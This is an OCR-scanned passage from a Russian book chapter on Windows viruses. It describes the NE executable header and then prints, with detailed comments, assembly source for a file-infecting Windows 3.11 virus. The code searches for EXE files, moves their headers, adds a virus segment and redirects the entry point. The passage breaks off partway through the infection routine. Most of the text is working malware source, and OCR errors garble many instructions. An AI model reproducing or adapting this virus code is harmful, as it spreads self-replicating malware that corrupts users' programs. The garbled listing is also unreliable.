ВИРУСЫ ПОД WINDOWS
В этой главе рассказано
о вирусах, заражающих фай-
лы в операционной среде
Windows. Наиболее подробно
рассмотрены вирусы под
Windows 95, Представлены
исходные тексты вирусов
с подробными комментариями,
Также приведены основные
сведения о запускаемых фай-
лах программ под Windows,
их структуре, отличиях
от файлов DOS,
Вирусы под Windows 3.11
В исполняемом файле Windows содержатся в различных комбинациях
код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-
грамм. Учитывая возможность запуска файла из DOS, формат данных
должен распознаваться обеими системами - и DOS, и Windows.
Для этого все исполняемые файлы под Windows содержат два заголов-
ка. Первый заголовок (старый) - распознается DOS как программа, вы-
водящая на экран "This program requires Microsoft Windows". Второй
заголовок (NewEXE) - для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата
WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для
DOS и программы (STUB), которая выводит сообщение "This program
requires Microsoft Windows".
Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,
значит по смещению 3Ch находится смещение заголовка NewEXE.
Заголовок NewEXE начинается с символов "NE". Далее идет собствен-
но заголовок, в котором содержатся различные данные, в том числе ад-
реса смещений таблиц сегментов, ресурсов и другие. После заголовка
расположена таблица сегментов, за ней - все остальные таблицы, далее
размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий
сегмент вируса.
4. CS:IP NewEXE изменяется на начало вирусного кода, само тело
вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21h из-под
Windows) необходимо использовать функции DPMI (INT 31h). Дей-
ствия: выделение сегмента, изменение его прав доступа, запись вируса,
перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows.
Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-
ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.
.286
.MODEL TINY
.CODE
;Сохраним регистры и флаги
pushf
pusha
push ds
push es
.Проверим, доступен ли DPMI. Если доступен,
Продолжаем, если нет - выходим
mov ax,1686h
int 2Fh
or ax, ax
jz dpmi_exist
;Восстановим регистры и флаги
exit:
pop es
pop ds
popa
popf
.Запустим программу-носитель
db OEAh
reloclP dw 0
relocCS dw OFFFFh
dpmi_exist:
;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,OFFFFh
xor bx.bx
int 31 h
;Сохраним индекс и 32-битный линейный адрес
.полученного блока памяти в стеке
push si ~^
push di
push bx
push ex
;Создадим дескриптор в таблице LDT
хог ах,ах
mov ex, 1
int 31 h
;B поле адреса полученного дескриптора
.установим адрес нужного блока памяти
mov bx,ax
mov ах,7
pop dx
pop ex
int •31h
;B поле предела полученного дескриптора
остановим размер выделенного блока памяти
mov ах,8
mov dx,OFFFFh
хог сх.сх
int 31h
;В поле прав доступа полученного дескриптора установим значение,
соответствующее сегменту данных, доступному для чтения и записи
mov ах,9
mov cl, 1111001 Ob
хог ch,ch
int 31h
;3агрузим селектор в регистр DS. После этого регистр DS будет
оказывать на выделенный блок памяти
mov ds.bx
.Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
Получим текущую DTA
mov ah,2Fh
int 21 h
mov [DTA],bx
mov [DTA+2],es
;Найдем первый ЕХЕ-файл (маска *.ЕХЕ)
mov ah,4Eh
xor ex,ex
mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу-носитель
jnc found_exe
;0свободим выделенную область памяти
call free
.Запустим программу-носитель
jmp exit
.Перейдем к следующему файлу - этот не подходит
close_exe:
; Закроем файл
mov ah,3Eh
int 21h
;Найдем следующий файл
mov ah,4Fh
int 21h
;Если файл найден, перейдем к заражению, иначе освободим
-.выделенную область памяти и запустим программу-носитель
jnc found_exe
;0свободим выделенную область памяти
call free
;3апустим программу-носитель
jmp exit
;Файл найден, проверим его на пригодность к заражению
found ехе:
;0ткроем файл для чтения и записи
push ds
Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax,3D02h
int 21 h
pop ds
.Прочтем старый заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx,40h
mov ah,3Fh
int 21h
;Проверим сигнатуру, это ЕХЕ-файл?
cmp WORD PTR [old_hdr],"ZM"
jne close_exe
[Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный ЕХЕ-файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому^что это может оказаться
;РЕ-, LE-, LX-executable или другой
;(PE-executable описан в разделе,
[посвященном Windows 95, остальные
;типы ЕХЕ-файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
.Перейдем ко второму заголовку (может быть, это NewEXE?):
Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx.WORD PTR [old_hdr+3Ch]
mov cx.WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
; Прочитаем второй заголовок
mov dx.OFFSET newJ-idr
mov ex,40h
mov ah,3fh
int 21h
[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл
cmp WORD PTR [new_hdr],"EN"
jne close_exe
[Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
.Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
[Для этого прочтем значение регистра CS при запуске
[этого ЕХЕ-файла
mov dx.WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему
[элемента в таблице сегментов
dec dx
shi dx,3
;K результату прибавим смещение таблицы сегментов и смещение
.заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx.WORO PTR [old_hdr+3ch]
mov cx.WORD PTR [old_hdr+3eh]
[Переместим указатель чтения/записи
mov ax,4200h
int 21 h
[Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov ex, 2
mov ah,3Fh
int 21 h
.Вычислим смещение сегмента, опираясь на значения
.смещения логического сектора и множителя секторов
mov dx.WORD PTR [temp]
mov cx.WORD PTR [new_hdr+32h]
xor ax.ax
cal_entry:
shi dx,1
rcl ax,1
loop cal_entry
.Переместим 16 старших бит 32-битного результата в регистр СХ
mov cx,ax
;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx.O
;Переместим указатель позиции чтения/записи на точку старта
.программы - результат вычисления
mov ax,4200h
int 21 h
;Считаем первые 10 байт после старта программы
mov dx, OFFSET temp
mov cx,10h
mov ah,3Fh
int 21 h
Проверим, заражен ли файл. Если считанные 10 байт в точности
;совпадают с первыми 10-ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе - заражаем
mov si.OFFSET temp
push cs
pop es
xor di.di
mov ex, 8
eld
rep cmpsw
jne ok_to_infect
jmp close_exe
Приступим к заражению
ok_to_infect:
Переместим NE-заголовок на 8 байт ближе к началу файла.
; Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0
; Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [hostJp]
pushTWORD PTR [new_hdr+16h]
pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
.Переместим указатель чтения/записи в начало файла
;(к старому заголовку)
хог сх.сх
xor dx.dx
mov ax,4200h
int 21 h
;3апишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти
mov dx.OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21 h
;Переместим указатель чтения/записи на начало нового
заголовка (его переместили на 8 байт к началу файла)
mov dx.WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h
int 21 h
;3апишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы
mov dx, OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
.Переместим указатель чтения/записи на 8 байт
;вперед - к началу таблицы сегментов
хог сх.сх
mov dx,8
mov ax,4201 h
int 21h
рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx.WORD PTR [new_hdr+1ch]
dec ex
shi cx.3
push ex
mov ah,3Fh
int 21h
Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,-1
mov ax,4201h
int 21h
;3апишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop ex
mov ah,40h
int 21h
.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx.dx
mov^ ax,4201h
int 21 h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
.Получим длину файла, переместив указатель
^тения/записи в конец файла
xor сх.сх
xor dx,dx
mov ax,4202h
int 21 h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx.WORD PTR [new_hdr+32h]
mov ax,1
shi ax.cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov сх.ах
pop ax
pop dx
div ex
-.Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;3аполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax
3-1436
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop ex
Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21 h
.Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov ex,8
mov ah,40h
int 21 h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме